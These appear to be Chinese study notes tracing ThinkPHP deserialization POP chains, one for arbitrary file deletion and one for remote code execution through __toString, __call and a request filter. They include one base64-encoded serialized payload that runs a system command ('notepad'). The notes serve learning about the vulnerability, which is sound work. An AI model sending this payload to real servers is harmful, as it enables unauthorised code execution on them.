一、文件删除利用链分析

1、__destruct发现调用$this->removeFiles();

2、removeFiles();函数方法file_exists,@unlink($filename);文件删除功能

3、unserialize(base64_decode($_GET['id']));
有可控变量

4、pop文件删除利用链的使用

只有在这个类中调用
Files可控数组


5、Poc实现

路由关系
application/index/controller/Index.php
6、动态调试


二、RCE利用链分析



1、动态调试分析

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo2OiJjb2xlYWsiO2E6MTp7aTowO3M6MDoiIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NjoiY29sZWFrIjtPOjEzOiJ0aGlua1xSZXF1ZXN0Ijo1OntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjg7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fXM6MTM6IgAqAG1lcmdlUGFyYW0iO2I6MTtzOjg6IgAqAHBhcmFtIjthOjE6e2k6MDtzOjc6Im5vdGVwYWQiO31zOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19
从下到上的利用链利用

1、文件删除poc-》rce利用
//__destruct->removeFiles->file_exists->
$filename未对象时候触发__toString

2、__toString利用链分析



//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法
3、call利用链分析

hook[$method], $args
-》$method, $args
4、逆向分析call_user_func


filterValue


5、input方法触发分析


6、param被谁触发
被isAjax触发了

7、call方法调用了

8、利用链不会xie
